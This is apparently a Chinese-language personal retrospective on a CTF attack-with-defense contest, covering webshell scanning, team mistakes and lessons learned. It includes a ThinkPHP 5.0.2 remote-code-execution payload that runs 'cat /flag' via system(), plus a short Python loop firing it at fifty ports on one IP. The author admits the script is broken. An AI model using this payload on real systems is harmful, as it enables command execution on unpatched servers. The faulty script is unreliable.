记一次线上AWD

最近打了一次线上AWD,算是第一次正式打AWD,表现不太好,前期看了一些AWD的思路和套路,但是没有真正应用于实际的AWD环境中,随做一次记录,记录这里面存在的问题以及没做好的地方。

开赛

开局给了ssh和web服务以及要求,如果被check down了,每轮扣100分(当时不知道每轮扣100分,以为一共扣100,每次restart需要扣100并且重置环境,所以就一直没restart)

防护

拿到ssh权限后首先备份了文件,用D盾、河马webshell专杀工具对web环境进行杀毒,想查杀webshell。

在webshell查杀环节中,使用河马webshell专杀工具和D盾杀了一个shell,但是有免杀shell没杀出来(一般AWD会内置多个后门),由于时间原因也没有细看,造成的后果是被传了不死马。(这是后话了。

在webshell查杀环节中应改进的地方是:

1.采用多种工具综合查杀webshell

2.对疑似后门文件手工查看,不能完全相信工具。

弱点1

流量监控脚本没挂上去,导致监控流量失败,无法得知有哪些payload是发起了攻击。

自检

通过观察web服务以及报错页面,出现了经典的十年磨一剑—-TP5.0.2,于是立刻想到了TP5.0.2的RCE。

网上收集payload后打了一波cat/flag,成功,并且通过该方式拿到了其他队伍的flag,遂考虑采用脚本编写EXP批量getflag并通知负责防护的队员修复相关漏洞。

弱点2

在修复时浪费了太多的时间,负责修复的队员无法尽快修复,并在上传修复后的文件时遇到了权限问题。

弱点3

临场紧张+payload不熟悉

我真的吐了。当时太紧张了,之前利用TP5的payload也是复制粘贴,这两个因素加起来导致我在Hackbar能顺利打payload,Burp也可以,但到了写脚本的时候就不行。因为payload是四个键值对,我写脚本的时候只写了一个。

贴一下我当时写的脚本

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
import requests,json
url="http://47.104.144.188:"
rest="/index.php?s=captcha"
data={' _method':'__construct&filter%5B%5D=system&get%5B%5D=cat+%2Fflag&method=get'}
for port in range(9001,9051):
urls=str(url+str(port)+rest)
response=requests.post(url=urls,data=data)
print (response.text)

攻击

在拿到一个并且唯一一个payload后,由于没有编写出批量利用脚本,遂考虑手动打,导致的得分缓慢。

弱点4

临场脚本编写能力欠缺

在编写脚本的过程中,需要用到对html标签解析的库(叫啥忘了)、多线程(批量getflag和提交flag),但由于很久没写多线程了,所以忘了多线程咋用了。。而且解析html标签还是大二学爬虫的时候写的,太过久远,也搞忘记了。所以最后脚本也没跑起来,耽误了太多时间。

弱点5

对AWD赛制不熟悉,机器至少down了三分之一的比赛时间,5分钟一轮,一轮掉100分。我说怎么越交flag分越少。。绝了。

反思与改进

提升脚本编写能力

不说了。多写多看多寻思 多借鉴别人的思路,掌握基本库的用法。

先把多线程和xpath解析学会了!!!

提升payload熟练度

要求平时复现过程中不能拿到直接打,要分析原理与利用链。

提升运维水平

赛前看到了安恒低权限EDR,但是部署起来看起来麻烦,就没搞,但是流量监控脚本也没挂上去,以后需要提前部署并实践相关脚本与环境。

控制好相关文件的读写权限等。

提升应急反应能力

要通过流量脚本观察是否有入侵与挂马行为,学会如何处理不死马等紧急情况。

提升反制能力

要能通过别人打的payload反打别人

完善武器库

多收集webshell查杀工具、积累webshell免杀方式、收集常见漏洞EXP。